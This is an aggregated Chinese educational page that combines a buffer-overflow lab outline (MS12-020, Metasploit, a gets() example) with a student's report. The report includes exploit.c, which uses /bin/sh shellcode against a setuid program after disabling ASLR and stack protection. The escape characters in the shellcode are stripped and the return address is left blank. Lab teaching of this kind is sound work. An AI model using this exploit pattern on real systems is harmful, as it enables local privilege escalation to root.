缓冲区溢出实验与基础
Posted 乔治Pro
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了缓冲区溢出实验与基础相关的知识,希望对你有一定的参考价值。
实验所属系列:信息安全基础
实验对象: 本科/专科信息安全专业
相关课程及专业:信息网络安全概论、网络攻击与防御技术、渗透测试技术
实验时数(学分):4学时
实验类别:实践实验类
1)理解缓冲区溢出的原理与危害;
2)了解防范缓冲区溢出的基本方法;
3)了解常见的缓冲区溢出攻击。
缓冲区溢出
缓冲区溢出是指当计算机向缓冲区内填充数据时超过了缓冲区本身的容量,溢出的数据覆盖在合法数据上。理想的情况是:程序检查数据长度并不允许输入超过缓冲区长度的字符,但是绝大多数程序都会假设数据长度总是与所分配的储存空间相匹配,这就为缓冲区溢出埋下了隐患。
操作系统所使用的缓冲区,又被称为"堆栈"。在各个操作进程之间,指令会被临时储存在“堆栈”中,“堆栈”也会出现缓冲区溢出。
缓冲区溢出的危害:在当前网络与分布式系统安全中,被广泛利用的50%以上都是缓冲区溢出,其中最著名的例子是1988年利用fingerd漏洞的蠕虫。而缓冲区溢出中,最为危险的是堆栈溢出,因为入侵者可以利用堆栈溢出,在函数返回时改变返回程序的地址,让其跳转到任意地址,带来的危害是:一种情况是程序崩溃导致拒绝服务,另外一种就是跳转并且执行一段恶意代码,比如得到shell,然后为所欲为。
MS12-020漏洞
微软于2012年3月12日发布安全公告,公布了MS12-020漏洞,漏洞级别为严重,这个级别是微软所有漏洞级别的最高级别,意即会对服务和企业运营造成巨大损失。
这个漏洞的定义是指操作系统的远程桌面协议存在重大漏洞,入侵者(黑客)可以通过向远程桌面默认端口(3389)发一系列特定RDP包,从而获取超级管理员权限,进而入侵系统。
若该主机同时提供80端口服务,那么疑似有相对更大的隐患。
根据微软的安全公告,Windows全系列操作系统(WinXP/Vista/Win7/Win2000/ Win2003/Win2008)均存在受控威胁。但因为远程桌面管理的特殊性,几乎所发现的主机都是服务器,PC机暂未发生。
防护过程中最重要的就是开启自动更新,接受microsoft的更新。
如果没有开启自动更新,或是不能确定该补丁包有否更新,请登录: http://www.microsoft.com/downloads/zh-cn/details.aspx?familyid=b69b4b9b-c0a1-4c1e-b081-8529eaf1536a
下载补丁更新,页面为2003SP2的补丁,页面下方的列表有支持其他操作系统的补丁。
防护过程的第二步是修改远程桌面端口或是设置远程桌面允许的白名单IP。
Metasploit工具
Metasploit是一款开源的安全漏洞检测工具,可以帮助安全和IT专业人士识别安全性问题,验证漏洞的缓解措施,并对安全性进行评估,提供真正的安全风险情报。这些功能包括智能开发,密码审计,Web应用程序扫描,社会工程等。
Metasploit是一个攻击工具开发平台,可以扩展的模型将负载控制,编码器,无操作生成器和漏洞整合在一起,使 Metasploit Framework 成为一种研究高危漏洞的途径。它集成了各平台上常见的溢出漏洞和流行的 shellcode ,并且不断更新。最新版本的 MSF 包含了750多种流行的操作系统及应用软件的漏洞,以及224个 shellcode 。作为安全工具,它在安全检测中用着不容忽视的作用,并为漏洞自动化探测和及时检测系统漏洞提供了有力保障。
实验环境为两台互相连网Windows主机。拓扑图如下:
说明:
1. 网络环境中有两台主机,有一台主机在实验环境可见并可登录,我们称为实验机(客户机);另一台主机不可见,但从实验机可以访问,这台主机即为本次实验任务的攻击目标,我们称为目标机。
2. 实验机IP为:10.1.1.35;目标机IP为:10.1.1.2。
任务一:使用给定的程序测试缓冲区溢出
1、登录到实验机上。
2、查看可引起缓冲区溢出的代码。
阅读一段C语言代码,思考下这些代码是否存在问题,代码如下:
/*
*buffer.c
*/
#include <stdio.h>
int main()
{
char name[8];
printf(“Please input your name: ”);
gets(name);
printf(“your name is : %s!”, name);
return 0;
}
实验步骤二:
任务二:利用溢出工具溢出目标系统,获取目标系统shell
实验步骤三:
任务三:利用MS12-020漏洞溢出目标系统,使目标系统瘫痪
实验报告要求
对实验结果进行分析,完成思考题目,总结实验的心得体会,并提出实验的改进意见
2018-2019-1 20165323《信息安全系统设计基础》缓冲区溢出漏洞实验报告
实验简介:
缓冲区溢出攻击:通过往程序的缓冲区写超出其长度的内容,造成缓冲区的溢出,从而破坏程序的堆栈,造成程序崩溃或使程序转而执行其它指令,以达到攻击的目的。
实验原理:
一般情况下,缓冲区溢出会造成程序崩溃,在程序中,溢出的数据覆盖了返回地址。而如果覆盖返回地址的数据是另一个地址,那么程序就会跳转到该地址,如果该地址存放的是一段精心设计的代码用于实现其他功能,这段代码就是 shellcode。shellcode是存放程序的汇编代码。
实验步骤:
1、关闭地址空间随机化功能,使猜测随机堆(heap)和栈(stack)的初始地址更容易。
使用命令:
sudo sysctl -w kernel.randomize_va_space=0
2、使用另一个 shell 程序(zsh)代替 /bin/bash,以重现防范缓冲区溢出攻击及其它利用 shell 程序的攻击防护措施被实现之前的情形。
设置zsh程序命令:
$ sudo su
$ cd /bin
$ rm sh
$ ln -s zsh sh
$ exit
3、进入linux32位环境,输入“/bin/bash”使用bash
$ linux32
$ /bin/bash
4、在 /tmp 目录下新建一个 stack.c 文件,代码如图:
5、通过代码可以知道,程序会读取一个名为“badfile”的文件,并将文件内容装入“buffer”。编译该程序,并设置 SET-UID。命令如下:
$ sudo su
$ gcc -m32 -g -z execstack -fno-stack-protector -o stack stack.c
$ chmod u+s stack
$ exit
GCC编译器有一种栈保护机制来阻止缓冲区溢出,所以我们在编译代码时需要用 –fno-stack-protector
关闭这种机制。 而-z execstack
用于允许执行栈。-g
参数是为了使编译后得到的可执行文档能用gdb调试。
6、在 /tmp 目录下新建一个 exploit.c 文件,代码如下:
/* exploit.c */
/* A program that creates a file containing code for launching shell*/
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
char shellcode[] =
"x31xc0" //xorl %eax,%eax
"x50" //pushl %eax
"x68""//sh" //pushl $0x68732f2f
"x68""/bin" //pushl $0x6e69622f
"x89xe3" //movl %esp,%ebx
"x50" //pushl %eax
"x53" //pushl %ebx
"x89xe1" //movl %esp,%ecx
"x99" //cdq
"xb0x0b" //movb $0x0b,%al
"xcdx80" //int $0x80
;
void main(int argc, char **argv)
{
char buffer[517];
FILE *badfile;
/* Initialize buffer with 0x90 (NOP instruction) */
memset(&buffer, 0x90, 517);
/* You need to fill the buffer with appropriate contents here */
strcpy(buffer,"x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x90x??x??x??x??"); //在buffer特定偏移处起始的四个字节覆盖sellcode地址
strcpy(buffer + 100, shellcode); //将shellcode拷贝至buffer,偏移量设为了 100
/* Save the contents to the file "badfile" */
badfile = fopen("./badfile", "w");
fwrite(buffer, 517, 1, badfile);
fclose(badfile);
}
注意上面的代码,x??x??x??x??
处需要添上shellcode保存在内存中的地址,因为发生溢出后这个位置刚好可以覆盖返回地址。而strcpy(buffer+100,shellcode);
这一句又告诉我们,shellcode保存在buffer + 100
的位置。下面我们将详细介绍如何获得我们需要添加的地址。
现在我们要得到 shellcode 在内存中的地址
输入命令:
$ gdb stack
$ disass main
接下来:
7、根据语句 strcpy(buffer + 100,shellcode); 我们计算 shellcode 的地址为 0xffffd2d0(十六进制) + 0x64(100的十六进制) = 0xffffd334(十六进制)
现在修改exploit.c文件!将 x??x??x??x?? 进行修改
然后,编译 exploit.c 程序:$ gcc -m32 -o exploit exploit.c
然后先运行攻击程序 exploit,再运行漏洞程序 stack,观察结果:
###练习题:
1、通过命令 sudo sysctl -w kernel.randomize_va_space=2 打开系统的地址空间随机化机制,重复用 exploit 程序攻击 stack 程序,观察能否攻击成功,能否获得root权限。
2、将 /bin/sh 重新指向 /bin/bash(或/bin/dash),观察能否攻击成功,能否获得 root 权限。
练习中遇到的问题:
在计算十六进制时结果出现错误,出现以下情况,后面经过重新使用gdb反汇编,重新计算得到正确结果
以上是关于缓冲区溢出实验与基础的主要内容,如果未能解决你的问题,请参考以下文章